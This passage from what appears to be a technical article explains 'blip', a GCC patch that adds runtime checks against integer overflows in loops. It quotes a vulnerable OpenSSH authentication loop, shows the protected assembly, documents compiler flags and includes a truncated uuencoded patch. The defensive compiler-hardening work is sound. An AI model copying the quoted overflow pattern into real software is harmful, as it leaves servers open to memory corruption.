if (nresp != kbdintctxt‑>nreq) fatal("input_userauth_info_response: wrong number of replies");

if (nresp > 0) {

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

** Vulnerable code **

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

response = xmalloc(nresp * sizeof(char*));

for (i = 0; i < nresp; i++)

response[i] = packet_get_string(NULL);

}

<omitted code>

}

The above function is translated to the following assembly code if compiled with the ‑fblip protection.(In order to make blip modification readable, the code was compiled using ‑O instead of using ‑O2, which will reorder basic blocks)

.typeinput_userauth_info_response,@function input_userauth_info_response:

movl‑16(%ebp), %eax

movl$0, 4(%eax)

callpacket_get_int

movl%eax, %esi

movl‑20(%ebp), %edx

cmpl12(%edx), %eax

je.L111

movl$.LC15, (%esp)

callfatal

.L112:

testl%esi, %esi

je.L113

leal0(,%esi,4), %eax

movl%eax, (%esp)

callxmalloc

movl%eax, ‑32(%ebp)

movl$0, %ebx

cmpl$0, %esi

jbe.L115

cmpl$268435456, %esi ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

jbe.L115

movl%esi, (%esp) Blip Check

call__blip_violation

.L115: ‑‑‑‑‑‑

cmpl%esi, %ebx

jae.L113

.L120:

movl$0, (%esp)

callpacket_get_string

movl‑32(%ebp), %ecx

movl%eax, (%ecx,%ebx,4)

incl%ebx

cmpl%esi, %ebx

jb.L120

The blip patch identified the for‑loop as a count‑loop and injected a code to direct the flow to the _blip_violation handler in the case that the limit (i.e. nresp) is bigger then the BLIP_MAX. Therefore if nresp value will be high enough to trigger an overflow in the call to xmalloc, it will also be high enough to get caught by the <blip_check>.

‑‑[ 8 ‑ Appendix B ‑ Using blip

To enable the blip patch one should first add the ‑fblip flag when executing the gcc compiler.

The blip patch will attempt to emit the <blip_check> whenever it seems possible to do so. The patch will silently ignore all loops or calls, which cannot be protected. In order to see the ignored loops one can use one of the following warning flags, which will also provide a message describing the reason for ignoring the specific loop.

Warning flags:

‑ blip_for_not_emit ‑ report ignored for loops.

‑ blip_while_not_emit ‑ report ignored while loops.

‑ blip_call_not_emit ‑ report ignored calls to loop like function.

A reason for ignoring a loop will be one of the following:

‑ Loop variables are less then 4 bytes long

‑ for init is not an expression

‑ call to function is made using a pointer to function

‑ call parameters have side effects. Reusing the expression may cause unexpected results

‑ loop condition is too complex in order to find the loop variables ‑ non of loop variables is modified (not enough info to make check) ‑ both loop var are modified

‑ condition is too complex

The blip patch is also capable of reporting check statistics. Using the ‑fblip_stat one can make the blip patch to print out statistical information about amount of loops processed and the amount of loops that where successfully checked.

The following command line will compile the first sample code. The output of the compilation will follow

$ gcc ‑o sample ‑fblip ‑fblip_stat ‑O sample.c

‑=] Blip statistics (checks emits)

Total:1/100%1/100%

for:1/100%1/100%

while:0/0%0/0%

calls:0/0%0/0%

‑=] End Blip Statistics

begin 640 blip.patch

M9&EF9B`M3G5R(&=C8RTS+C(O9V‑C+TUA:V5F:6QE+FEN(&=C8RTS+C(M8FQI M<"]G8V,O36%K969I;&4N:6X‑"BTM+2!G8V,M,RXR+V=C8R]‑86ME9FEL92YI M;@E4:'4@36%Y(#(S(#$P.C4W.C(Q(#(P,#(‑"BLK*R!G8V,M,RXR+6)L:7`O M9V‑C+TUA:V5F:6QE+FEN"4UO;B!$96,@(#(@,3DZ‑#(Z,SD@,C`P,@T*0$`@ M+3<R‑RPW("LW,C<L‑R!`0`T*("!S:6)C86QL+F\@<VEM<&QI9GDM<G1X+F\@ M<W‑A+F\@<W‑A+6‑C<"YO('‑S82UD8V4N;R!S=&UT+F\)7`T*("!S=&]R+6QA M>6]U="YO('‑T<FEN9W!O;VPN;R!T:6UE=F%R+F\@=&]P;&5V+F\@=')E92YO M('1R964M9'5M<"YO(`E<#0H@('1R964M:6YL:6YE+F\@=6YR;VQL+F\@=F%R M87‑M+F\@=F%R<F%Y+F\@=F5R<VEO;BYO('9M<V1B9V]U="YO('AC;V9F;W5T M+F\@7`T*+2`D*$='0RD@)"AO=71?;V)J96‑T7V9I;&4I("0H15A44D%?3T)* M4RD‑"BL@8FQI<"YO("0H1T=#*2`D*&]U=%]O8FIE8W1?9FEL92D@)"A%6%12 M05]/0DI3*0T*(`T*($)!0TM%3D0@/2!M86EN+F\@;&EB8F%C:V5N9"YA#0H@ M#0I`0"`M‑S8X+#<@*S<V."PX($!`#0H@#0H@3$E",D953D‑37S(@/2!?9FQO M871D:7AF(%]F:7AU;G‑X9G‑I(%]F:7AT9F1I(%]F:7AU;G‑T9F1I(%]F;&]A M=&1I=&8@7`T*("`@("!?8VQE87)?8V%C:&4@7W1R86UP;VQI;F4@7U]M86EN M(%]E>&ET(%]A8G‑V<VDR(%]A8G‑V9&DR(%]A9&1V<VDS(%P‑"BT@("`@7V%D M9'9D:3,@7W‑U8G9S:3,@7W‑U8G9D:3,@7VUU;'9S:3,@7VUU;'9D:3,@7VYE M9W9S:3(@7VYE9W9D:3(@7V‑T;W)S#0HK("`@(%]A9&1V9&DS(%]S=6)V<VDS M(%]S=6)V9&DS(%]M=6QV<VDS(%]M=6QV9&DS(%]N96=V<VDR(%]N96=V9&DR M(%]C=&]R<R!<#0HK"5]B;&EP7W9I;VQA=&EO;@T*(`T*(",@1&5F:6YE9"!I M;B!L:6)G8V,R+F,L(&EN8VQU9&5D(&]N;'D@:6X@=&AE('‑T871I8R!L:6)R M87)Y+@T*($Q)0C)&54Y#4U]35"`](%]E<')I;G1F(%]B8B!?7V=C8U]B8VUP M#0ID:69F("U.=7(@9V‑C+3,N,B]G8V,O8FQI<"YC(&=C8RTS+C(M8FQI<"]G M8V,O8FQI<"YC#0HM+2T@9V‑C+3,N,B]G8V,O8FQI<"YC"5=E9"!$96,@,S$@ M,38Z,#`Z,#`@,3DV.0T**RLK(&=C8RTS+C(M8FQI<"]G8V,O8FQI<"YC"4UO M;B!$96,@(#(@,3DZ‑#(Z,SD@,C`P,@T*0$`@+3`L,"`K,2PX,S4@0$`‑"BLO M*@T‑"BL@*B`@("!4:&ES(&9I;&4@:7,@<&%R="!O9B!'3E4@0T,N#0T**R`J M#0T**R`J("`@($=.52!#0R!I<R!F<F5E('‑O9G1W87)E.R!Y;W4@8V%N(')E M9&ES=')I8G5T92!I="!A;F0O;W(@;6]D:69Y#0T**R`J("`@(&ET('5N9&5R M('1H92!T97)M<R!O9B!T:&4@1TY5($=E;F5R86P@4'5B;&EC($QI8V5N<V4@ M87,@<'5B;&ES:&5D(&)Y#0T**R`J("`@('1H92!&<F5E(%‑O9G1W87)E($9O M=6YD871I;VX[(&5I=&AE<B!V97)S:6]N(#(L(&]R("AA="!Y;W5R(&]P=&EO M;BD‑#0HK("H@("`@86YY(&QA=&5R('9E<G‑I;VXN#0T**R`J#0T**R`J("`@ M($=.52!#0R!I<R!D:7‑T<FEB=71E9"!I;B!T:&4@:&]P92!T:&%T(&ET('=I M;&P@8F4@=7‑E9G5L+`T‑"BL@*B`@("!B=70@5TE42$]55"!!3ED@5T%24D%. M5%D[('=I=&AO=70@979E;B!T:&4@:6UP;&EE9"!W87)R86YT>2!O9@T‑"BL@ M*B`@("!‑15)#2$%.5$%"24Q)5%D@;W(@1DE43D534R!&3U(@02!005)424‑5 M3$%2(%!54E!/4T4N("!3964@=&AE#0T**R`J("`@($=.52!'96YE<F%L(%!U M8FQI8R!,:6‑E;G‑E(&9O<B!M;W)E(&1E=&%I;',N#0T**R`J#0T**R`J("`@ M(%EO=2!S:&]U;&0@:&%V92!R96‑E:79E9"!A(&‑O<'D@;V8@=&AE($=.52!' M96YE<F%L(%!U8FQI8R!,:6‑E;G‑E#0T**R`J("`@(&%L;VYG('=I=&@@1TY5 M($‑#.R!S964@=&AE(&9I;&4@0T]064E.1RX@($EF(&YO="P@=W)I=&4@=&\M#0HK("H@("`@=&AE($9R964@4V]F='=A<F4@1F]U;F1A=&EO;BP@‑3D@5&5M M<&QE(%!L86‑E("T@4W5I=&4@,S,P+`T‑"BL@*B`@("!";W‑T;VXL($U!(#`R M,3$Q+3$S,#<L(%5302X@("HO#0T**PT‑"BLC:6YC;'5D92`B8V]N9FEG+F@B M#0T**R‑I;F‑L=61E(")S>7‑T96TN:"(‑#0HK(VEN8VQU9&4@(FUA8VAM;V1E M+F@B#0T**R‑I;F‑L=61E(")R=&PN:"(‑#0HK(VEN8VQU9&4@(G1R964N:"(M#0HK(VEN8VQU9&4@(G1O<&QE=BYH(@T‑"BLC:6YC;'5D92`B8FQI<"YH(@TM"BLC:6YC;'5D92`B9FQA9W,N:"(‑#0HK(VEN8VQU9&4@(F,M8V]M;6]N+F@B M#0T**PT‑"BLO*B!T:&ES('‑T<G5C="!W:6QL(&AE;'`@86QL(&‑H96‑K7VQO M;W!?;&EM:70@9G5N8W1I;VYT:6]N#0T**R`J('1O(&‑O;6UU;FET8V%T92XM#0HK("H@4VEN8V4@=&AE(&‑O;7!I;&5R(&ES('‑I;F=L92!T:')E860L(&%N M9"!T:&4@8FQI<"!C:&5C:W,@87)E(&%L;'=A>7,@#0T**R`J('‑T871L97‑S M+"!T:&%N(&ET<R!S869E('1O('5S92!T:&ES('‑T<G5C="!A<R!G;&]B86P@ M:6YS=&5A9"!O9B!P87‑S:6YG#0T**R`J(&ET(&%L;"!A<F]U;F0N("HO#0T* M*PT‑"BML;V]P7VQI;6ET7W,@;&]O<%]L:6UI=#L‑#0HK#0T**R\J('‑A=F4@ M9G5N8W1I;VX@=&\@8F4@8VAE8VME9"!A9V%I;G‑T(&EN=&5G97(@97AP;&]I M="`J+PT‑"BML;V]P7VQI:V5?<R`);&]O<%]L:6ME<UM=/7L‑#0HK"7LB;65M M8W!Y(BPR?2P‑#0HK"7LB;65M;6]V92(L,GTL#0T**PE[(FUE;7‑E="(L,GTL M#0T**PE[(FUE;6‑C<'DB+#‑]+`T‑"BL)>R)B8V]P>2(L,GTL#0T**PE[(F)Z M97)O(BPQ?2P‑#0HK"7LB<W=A8B(L,GTL#0T**PE[(B(L,'T)#0T**WT[#0T* M*PT‑"BLO*B!G;&]B86P@9F]R(&)L:7`@<W1A=&ES=&EC<R`J+PT‑"BMB;&EP M7W‑T871I<W1I8W‑?<R`@(&)L:7!?<W1A=#U[,"PP+#`L,"PP+#`L,"PP?3LM#0HK#0T**R‑D969I;F4@4$52*'@L>2D@"7D@/R`H>"`J(#$P,"DO>2`Z(#`M#0HK#0T**R\J('!R:6YT(&)L:7`@<W1A=&ES=&EC<R!T;R!T:&4@<W1D97)R M("HO#0T**W9O:60@#0T**V)L:7!?<W1A=%]P<FEN="AF<"D‑#0HK"49)3$4J M"69P.PT‑"BM[#0T**PT‑"BL):68H(69L86=?8FQI<"!\?`T‑"BL)"2%F;&%G M7V)L:7!?<W1A="D@<F5T=7)N.PT‑"BL)#0T**PEI9BAF<"`]/2`P*2`‑#0HK M"0EF<"`]('‑T9&5R<CL‑#0HK"0T‑"BL‑#0HK"69P<FEN=&8H9G`L(EQN+3U= M($)L:7`@<W1A=&ES=&EC<R`H8VAE8VMS(&5M:71S*5QN(BD[#0T**PD‑#0HK M"69P<FEN=&8H9G`L(E1O=&%L.EQT)60O)60E)5QT7'0E9"\E9"4E7&XB+`TM"BL)"0EB;&EP7W‑T870N=&]T86Q?8VAE8VMS+#$P,"P‑#0HK"0D)8FQI<%]S M=&%T+G1O=&%L7V5M:71S+`T‑"BL)"0E015(H8FQI<%]S=&%T+G1O=&%L7V5M M:71S+&)L:7!?<W1A="YT;W1A;%]C:&5C:W,I*3L)"0D‑#0HK"0D)#0T**PEF M<')I;G1F*&9P+")F;W(Z7'0E9"\E9"4E7'1<="5D+R5D)25<;B(L#0T**PD) M"6)L:7!?<W1A="YF;W)?8VAE8VMS+`T‑"BL)"0E015(H8FQI<%]S=&%T+F9O M<E]C:&5C:W,L8FQI<%]S=&%T+G1O=&%L7V‑H96‑K<RDL#0T**PD)"6)L:7!? M<W1A="YF;W)?96UI=',L#0T**PD)"5!%4BAB;&EP7W‑T870N9F]R7V5M:71S M+&)L:7!?<W1A="YF;W)?8VAE8VMS*2D["0D)#0T**PD)"0T‑"BL)9G!R:6YT M9BAF<"PB=VAI;&4Z7'0E9"\E9"4E7'1<="5D+R5D)25<;B(L#0T**PD)"6)L M:7!?<W1A="YW:&EL95]C:&5C:W,L#0T**PD)"5!%4BAB;&EP7W‑T870N=VAI M;&5?8VAE8VMS+&)L:7!?<W1A="YT;W1A;%]C:&5C:W,I+`T‑"BL)"0EB;&EP M7W‑T870N=VAI;&5?96UI=',L#0T**PD)"5!%4BAB;&EP7W‑T870N=VAI;&5? M96UI=',L8FQI<%]S=&%T+G=H:6QE7V‑H96‑K<RDI.PD)"0T‑"BL)"0D‑#0HK M"69P<FEN=&8H9G`L(F‑A;&QS.EQT)60O)60E)5QT7'0E9"\E9"4E7&XB+`TM"BL)"0EB;&EP7W‑T870N8V%L;%]C:&5C:W,L#0T**PD)"5!%4BAB;&EP7W‑T M870N8V%L;%]C:&5C:W,L8FQI<%]S=&%T+G1O=&%L7V‑H96‑K<RDL#0T**PD) M"6)L:7!?<W1A="YC86QL7V5M:71S+`T‑"BL)"0E015(H8FQI<%]S=&%T+F‑A M;&Q?96UI=',L8FQI<%]S=&%T+F‑A;&Q?8VAE8VMS*2D["0D)#0T**PT‑"BL) M9G!R:6YT9BAF<"PB+3U=($5N9"!";&EP(%‑T871I<W1I8W‑<;B(I.PT‑"BM] M#0T**PT‑"BLO*B!P<FEN="!A('=A<FYI;F<@;65S<V%G92P@;VYL>2!D;R!S M;R!I9B!T:&4@<FEG:'0@=V%R;FYI;F<@9FQA9R!I<R!T=7)N960@#0T**R`J M(&]N+B`J+PT‑"BL‑#0HK=F]I9`T‑"BMB;&EP7W=A<FYI;F<H=V%R;E]I9"QM M97‑S86=E*0T‑"BL)96YU;2!B;&EP7W=A<FYI;F=S('=A<FY?:60[#0T**PEC M;VYS="!C:&%R*@EM97‑S86=E.PT‑"BM[#0T**PT‑"BL):68H=V%R;E]I9"`] M/2!314Q&7T‑(14‑+*7L‑#0HK"0ES=VET8V@H5%)%15]#3T1%("AL;V]P7VQI M;6ET+G‑T;70I*7L‑#0HK"0D)8V%S92!&3U)?4U1‑5#H‑#0HK"0D)"7=A<FY? M:60@/2!.15]&3U([#0T**PD)"0EB<F5A:SL‑#0HK#0T**PD)"6‑A<V4@5TA) M3$5?4U1‑5#H‑#0HK"0D)"7=A<FY?:60@/2!.15]72$E,13L‑#0HK"0D)"6)R M96%K.PT‑"BL‑#0HK"0D)8V%S92!#04Q,7T584%(Z#0T**PD)"6‑A<V4@041$ M4E]%6%!2.@T‑"BL)"0D)=V%R;E]I9"`]($Y%7T‑!3$P[#0T**PD)"0EB<F5A M:SL‑#0HK#0T**PD)"61E9F%U;'0Z<F5T=7)N.PT‑"BL)"7T‑#0HK"7T‑#0HK M#0T**PES=VET8V@H=V%R;E]I9"E[#0T**PD)8V%S92!.15]&3U(Z#0T**PD) M"6EF*"%W87)N7V)L:7!?9F]R7VYO=%]E;6ET*2!R971U<FX[#0T**PD)"6)R M96%K.PT‑"BL)"6‑A<V4@3D5?5TA)3$4Z#0T**PD)"6EF*"%W87)N7V)L:7!? M=VAI;&5?;F]T7V5M:70I(')E='5R;CL‑#0HK"0D)8G)E86L[#0T**PD)8V%S M92!.15]#04Q,.@T‑"BL)"0EI9B@A=V%R;E]B;&EP7V‑A;&Q?;F]T7V5M:70I M(')E='5R;CL‑#0HK"0D)8G)E86L[#0T**PT‑"BL)"61E9F%U;'0Z(')E='5R M;CL‑#0HK"7T‑#0HK#0T**PT‑"BL)=V%R;FEN9RAM97‑S86=E*3L‑#0HK?0TM"BL‑#0HK#0T**R\J(&)U:6QD(&$@8V%L;"!T;R!T:&4@8FQI<%]V:6]L871I M;VX@9G5N8W1I;VXN('5S:6YG('1H92!A<F<@97AP(&%S('1H92`‑#0HK("H@ M<&%R86UE=&5R(&9O<B!T:&ES(&‑A;&PN("HO#0T**PT‑"BMT<F5E#0T**V)L M:7!?8G5I;&1?=FEO;&%T:6]N7V‑A;&PH87)G*0T‑"BL)=')E92!A<F<[#0T* M*WL‑#0HK#0T**PET<F5E"7!A<F%M<SL‑#0HK"71R964)97AP.PT‑"BL)=')E M90EB;&EP7V9U;F‑?9&5C;#U.54Q,.PT‑"BL‑#0HK"71R964)8FQI<%]V:6]L M871I;VY?9&5C;"`]($Y53$P[#0T**PD‑#0HK"6)L:7!?=FEO;&%T:6]N7V1E M8VP@/0T‑"BL)"6)U:6QD7V1E8VP@*$953D‑424].7T1%0TPL(&=E=%]I9&5N M=&EF:65R*")?7V)L:7!?=FEO;&%T:6]N(BDL#0T**PD)"0EB=6EL9%]F=6YC M=&EO;E]T>7!E("AI;G1E9V5R7W1Y<&5?;F]D92Q.54Q,7U12144I*3L‑#0HK M#0T**PE$14‑,7T%25$E&24‑)04P@*&)L:7!?=FEO;&%T:6]N7V1E8VPI(#T@ M,3L‑#0HK"41%0TQ?15A415).04P@*&)L:7!?=FEO;&%T:6]N7V1E8VPI(#T@ M,3L‑#0HK"41%0TQ?24Y,24Y%("AB;&EP7W9I;VQA=&EO;E]D96‑L*2`](#`[ M#0T**PE44D5%7U!50DQ)0R`H8FQI<%]V:6]L871I;VY?9&5C;"D@/2`Q.PTM"BL)#0T**PEB;&EP7V9U;F‑?9&5C;"`](&)L:7!?=FEO;&%T:6]N7V1E8VP[ M#0T**PT‑"BL)<&%R86US("`]('1R965?8V]N<R`H3E5,3"QA<F<L3E5,3"D[ M#0T**PEI9B@A<&%R86US*2!R971U<FX@3E5,3#L‑#0HK"0T‑"BL)+RH@8VAE M8VL@:68@9G5N8W1I;VX@9&5C;"XN*B\)#0T**PEI9BA44D5%7T‑/1$4@*&)L M:7!?9G5N8U]D96‑L*2`A/2!&54Y#5$E/3E]$14‑,*7L‑#0HK"0ER971U<FX@ M3E5,3#L‑#0HK"7T‑#0HK"0D)#0T**PEE>'`@/2!B=6EL9%]F=6YC=&EO;E]C M86QL*&)L:7!?9G5N8U]D96‑L+'!A<F%M<RD[#0T**PD‑#0HK"7)E='5R;B!E M>'`[#0T**WT‑#0HK#0T**R\J(`E#<F5A=&4@82!C:&5C:R!E>'`@9F]R('1H M92!B;&EP(&‑O;F1I=&EO;B!T:&4@97AP('=I;&P@8F4@;V8@0T].1%]%6%!2 M(`T‑"BL@*B`)='EP92P@86YD('=I;&P@:&%V92!T:&4@9F]L;&]W:6YG(&9O M<FUA=#H‑#0HK("H@"2@H;W`Q(#X@;W`R*2`F)B`H*&]P,2UO<#(I(#X@;6%X M7VQI;6ET*2D@(#\@8FQI<%]V:6]L871I;VXH*2`Z(&5X<#L@(`T‑"BL@*@TM"BL@*B`)=VAE<F4@;W`Q+V]P,B!A<F4@8V]U;F0@86YD(&QI;6ET+"!A;F0@ M=&AE:7(@;W)D97(@:6X@=&AE(&5X<&5R<W‑I;VX@:7,‑#0HK("H@"2!D969I M;F1E9"!B>2!T:&4@9&ER96‑T:6]N(&]F('1H92!L;V]P(`T‑"BL@*@T‑"BL@ M*B`)($%S(&$@;F]T92P@:2!C;W5L9"!H879E(&%D9"!S;VUE(&5X=')A(&QO M9VEC('1O(&5L:6UI;F%T92!T:&4@8V]M<&QE>"`‑#0HK("H@"2!C:&5C:R!I M9B!T:&4@;&EM:70O8V]U;G0@87)E(&‑O;G‑T86YT<RP@8G5T('‑I;F‑E('1H M92!O<'1I;6EZ97(@8V%N(`T‑"BL@*B`)('!I8VL@=&AA="!U<"!I="!W:6QL M(&)E(')E9'5N9&%N="!A;F0@82!S;W5R8V4@;V8@;6ES=&%K97,N*B\‑#0HK M#0T**W1R964‑#0HK8FQI<%]B=6EL9%]C:&5C:U]E>'`H97AP*0T‑"BL)=')E M90EE>'`[#0T**WL‑#0HK#0T**PET<F5E"71T(#T@=F]I9%]T>7!E7VYO9&4[ M#0T**PET<F5E"6]P7W1T.PT‑"BL)=')E90EB;&EP7W9I;VQA=&EO;E]C86QL M+&)L:7!?;6%X.PT‑"BL)#0T**PDO*B!A;&P@97AP<F5S<VEO;B!N965D960@ M9F]R('1H92!C;VYD=&EO;B!C<F5A=&EO;B`J+PT‑"BL‑#0HK"71R964@("`@ M;W!?9W1?;6%X.PD)+RH@;W`@/B!M87@@*B\)#0T**PET<F5E"6]P,5]G=%]O M<#([(`DO*B`H;W`Q(#X@;W`R*2`J+PT‑"BL)=')E90EM:6YU<SL@"0D)+RH@ M*&]P,2UO<#(I("HO#0T**PET<F5E"6UI;G5S7V=T7VUA>#L@"2\J("@H;W`Q M+6]P,BD@/B!M87A?;&EM:70I("HO#0T**PET<F5E"71?86YD:68[(`D)+RH@ M=&AE("@I)B8H*2`J+PT‑"BL‑#0HK"71R964)8V]U;G0["0D)+RH@=&AE(&‑A M;&‑U;&%T960@8V]U;G0@;&]O<"`J+PD‑#0HK"71R964)8V]N9%]T97‑T.PD) M+RH@=&AE(&‑O;F1I=&EO;B!T97‑T("HO#0T**PET<F5E"6‑O;F1?97AP.PD) M+RH@5&AE('=H;VQE(&)L:7`@8V]N9&ET:6]N("HO#0T**PD‑#0HK"6EF*&5X M<"D)='0@/2!44D5%7U194$4@*&5X<"D[#0T**PD)#0T**PEO<%]T="`](&QO M;F=?=6YS:6=N961?='EP95]N;V1E.PT‑"BL‑#0HK"6)L:7!?;6%X(#T@8G5I M;&1?:6YT7S(@*$),25!?34%8+#`I.PT‑"BL)5%)%15]465!%("AB;&EP7VUA M>"D@/2!O<%]T=#L‑#0HK#0T**PT‑"BL)+RH@:68@;&]O<"!C;W5N=&5R(&]R M(&QO;W`@;&EM:70@87)E('‑M86QL97(@=&AE;B`T8GET92!I;G1S(`T‑"BL) M("H@9&]N="!E=F5N(&)O=&AE<B!T;R!C<F5A=&4@8VAE8VL@97AP<F5S<VEO M;BX@*B\‑#0HK"6EF*"%44D5%7U194$4H;&]O<%]L:6UI="YC;W5N=&5R*2!\ M?`T‑"BL)"5194$5?4%)%0TE324].*%12145?5%E012AL;V]P7VQI;6ET+F‑O M=6YT97(I*2`\(#,R('Q\#0T**PD)(512145?5%E012AL;V]P7VQI;6ET+FQI M;6ET*2!\?`T‑"BL)"5194$5?4%)%0TE324].*%12145?5%E012AL;V]P7VQI M;6ET+FQI;6ET*2D@/"`S,BE[#0T**PD)#0T**PD)8FQI<%]W87)N:6YG*%‑% M3$9?0TA%0TLL(F)L:7`Z('9A<B!S;6%L;&5R('1H96X@;&]N9R(I.PD‑#0HK M"0ER971U<FX@3E5,3#L‑#0HK"7T‑#0HK"0T‑"BL)<W=I=&‑H*%12145?0T]$ M12`H;&]O<%]L:6UI="YS=&UT*2E["0T‑"BL‑#0HK"6‑A<V4@5TA)3$5?4U1M5#H‑#0HK"6‑A<V4@1D]27U‑4350Z#0T**PT‑"BL)"0T‑"BL)"2\J(&EN(&QO M;W`@;V8@='EP92!W:&EL92AL96XM+2D@9V‑C(&9O<B!S;VUE(')E87‑O;B!P M<F5F97(@=&\@8V]M<&%R92`‑#0HK"0D@*B!T:&4@<F5S=6QT(&]F(")L96XM M+2(@=&\@82!V86QU92!I;G‑T96%D(&]F(&‑O;7!A<FEN9R`B;&5N(BX@#0T* M*PD)("H@*'1O('‑A=F4@<F5G:7‑T97)S('=H:6‑H(&]L9"!L96X_*2!T:&4@ M<F5S=6QT(&ES('1H870@9V‑C(&%S<W5M92`‑#0HK"0D@*B!T:&%T(#`@+2T@ M=VEL;"!B96‑O;64@,'AF9F9F9F9F9B!E=F5N(&EF('1H92!L;V]P(&ES('5N M<VEG;F5D("$A+@T‑"BL)"2`J(%1O(')E<')E<V5N="!T:&4@<F5A;"!D:7‑T M86YC92!W92!W:6QL(&‑H86YG92!T:&ES('9A;'5E('1O(#`N("HO#0T**PD) M:68H;&]O<%]L:6UI="YD:7(@/3T@1$5#4D5‑14Y4("8F#0T**PD)"512145? M0T].4U1!3E0H;&]O<%]L:6UI="YL:6UI="D@)B8‑#0HK"0D)5%)%15])3E1? M0U‑47TQ/5RAL;V]P7VQI;6ET+FQI;6ET*2`]/2`P>$9&1D9&1D9&*7L‑#0HK M"0D);&]O<%]L:6UI="YL:6UI="`](&EN=&5G97)?>F5R;U]N;V1E.PD)#0T* M*PD)?0T‑"BL)#0T**PD‑#0HK"0DO*B!C;VYV97)T('1H92!L:6UI="!A;F0@ M8V]U;G0@:6YT;R!U;G‑I9VYE9"!I;G0@:68@=&AE>2!A<F4@;F]T(`T‑"BL) M"2`J(&%L;')E861Y('‑O+B!4:&ES(&‑O;G9E<G1I;VX@:7,@;F]T('‑U<'!O M<V4@=&\@969F96‑T('1H92!R96%L(`T‑"BL)"2`J('9A<G,N+B`Z*2`J+PTM"BL)"6EF*"%44D5%7U5.4TE'3D5$*&QO;W!?;&EM:70N8V]U;G1E<BD@)B8M#0HK"0D)(512145?0T].4U1!3E0H;&]O<%]L:6UI="YC;W5N=&5R*2E[#0T* M*PD)"6QO;W!?;&EM:70N8V]U;G1E<B`](&)U:6QD,2`H0T].5D525%]%6%!2 M+&QO;F=?=6YS:6=N961?='EP95]N;V1E+`T‑"BL)"0D)"0D)"0D);&]O<%]L M:6UI="YC;W5N=&5R*3L‑#0HK"0E]#0T**PD)#0T**PD):68H(512145?54Y3 M24=.140H;&]O<%]L:6UI="YL:6UI="D@)B8‑#0HK"0D)(512145?0T].4U1! M3E0H;&]O<%]L:6UI="YL:6UI="DI>PT‑"BL)"0EL;V]P7VQI;6ET+FQI;6ET M(#T@8G5I;&0Q("A#3TY615)47T584%(L;&]N9U]U;G‑I9VYE9%]T>7!E7VYO M9&4L#0T**PD)"0D)"0D)"0EL;V]P7VQI;6ET+FQI;6ET*3L‑#0HK"0E]#0T* M*PD)#0T**PD)#0T**PD)+RH@8V]N<W1R=6‑T('1H92!C:&5C:R!E>'!R97‑S M:6]N<R!D97!E;F1I;F<@;VX@;&]O<"!D:7)E8W1I;VX@*B\‑#0HK"0EI9BAL M;V]P7VQI;6ET+F1I<B`]/2!)3D‑214U%3E0I>PT‑"BL)"0EM:6YU<R`](&)U M:6QD("A‑24Y54U]%6%!2+&]P7W1T+`T‑"BL)"0D)"0D);&]O<%]L:6UI="YL M:6UI="QL;V]P7VQI;6ET+F‑O=6YT97(I.PT‑"BL)#0T**PD)"6]P,5]G=%]O M<#(@/2!B=6EL9"`H1U1?15A04BQB;V]L96%N7W1Y<&5?;F]D92P‑#0HK"0D) M"0D)"0EL;V]P7VQI;6ET+FQI;6ET+&QO;W!?;&EM:70N8V]U;G1E<BD[#0T* M*PD)?0T‑"BL)"65L<V5[#0T**PD)"6UI;G5S(#T@8G5I;&0@*$U)3E537T58 M4%(L;W!?='0L#0T**PD)"0D)"0EL;V]P7VQI;6ET+F‑O=6YT97(L;&]O<%]L M:6UI="YL:6UI="D[#0T**PD)"0T‑"BL)"0EO<#%?9W1?;W`R(#T@8G5I;&0@ M*$=47T584%(L8F]O;&5A;E]T>7!E7VYO9&4L#0T**PD)"0D)"0D);&]O<%]L M:6UI="YC;W5N=&5R+&QO;W!?;&EM:70N;&EM:70I.PT‑"BL)"7T)#0T**PDM#0HK"0DO*B!I9B!A;GD@;V8@=&AE(&5X<')E<W‑I;VYS('=A<R!N;W0@8W)E M871E9"P@9F%I;"`J+PT‑"BL)"6EF*"%M:6YU<R!\?"`A;W`Q7V=T7V]P,BD@ M<F5T=7)N($Y53$P[#0T**PD‑#0HK"0EM:6YU<U]G=%]M87@@/2!B=6EL9"`H M1U1?15A04BQB;V]L96%N7W1Y<&5?;F]D92QM:6YU<RQB;&EP7VUA>"D[#0T* M*PD):68H(6UI;G5S7V=T7VUA>"D@<F5T=7)N($Y53$P[#0T**PD)#0T**PD) M=%]A;F1I9B`](&)U:6QD("A44E542%]!3D1)1E]%6%!2+&)O;VQE86Y?='EP M95]N;V1E+`T‑"BL)"0D)"0EO<#%?9W1?;W`R+&UI;G5S7V=T7VUA>"D[#0T* M*PD‑#0HK"0EI9B@A=%]A;F1I9BD@<F5T=7)N($Y53$P[#0T**PD)#0T**PD) M8V]N9%]T97‑T(#T@=%]A;F1I9CL‑#0HK"0EC;W5N="`](&UI;G5S.PD‑#0HK M"0D‑#0HK"0EB<F5A:SL‑#0HK"0T‑"BL)8V%S92!#04Q,7T584%(Z#0T**PTM"BL)"6EF*%12145?54Y324=.140H;&]O<%]L:6UI="YL:6UI="D@)B8‑#0HK M"0D)(512145?0T].4U1!3E0H;&]O<%]L:6UI="YL:6UI="DI>PT‑"BL)"0EL M;V]P7VQI;6ET+FQI;6ET(#T@8G5I;&0Q("A#3TY615)47T584%(L;&]N9U]U M;G‑I9VYE9%]T>7!E7VYO9&4L#0T**PD)"0D)"0D)"0EL;V]P7VQI;6ET+FQI M;6ET*3L‑#0HK"0E]#0T**PT‑"BL)"6]P7V=T7VUA>"`](&)U:6QD("A'5%]% M6%!2+&)O;VQE86Y?='EP95]N;V1E+&QO;W!?;&EM:70N;&EM:70L8FQI<%]M M87@I.PT‑"BL)"6EF*"%O<%]G=%]M87@I(')E='5R;B!.54Q,.PT‑"BL‑#0HK M"0EC;VYD7W1E<W0@/2!O<%]G=%]M87@[#0T**PD)8V]U;G0@/2!L;V]P7VQI M;6ET+FQI;6ET.PT‑"BL)"0T‑"BL)"6)R96%K.PT‑"BL‑#0HK"61E9F%U;'0Z M<F5T=7)N($Y53$P["0T‑"BL)?0T‑"BL)"0T‑"BL)8FQI<%]V:6]L871I;VY? M8V%L;"`](&)L:7!?8G5I;&1?=FEO;&%T:6]N7V‑A;&PH8V]U;G0I.PT‑"BL) 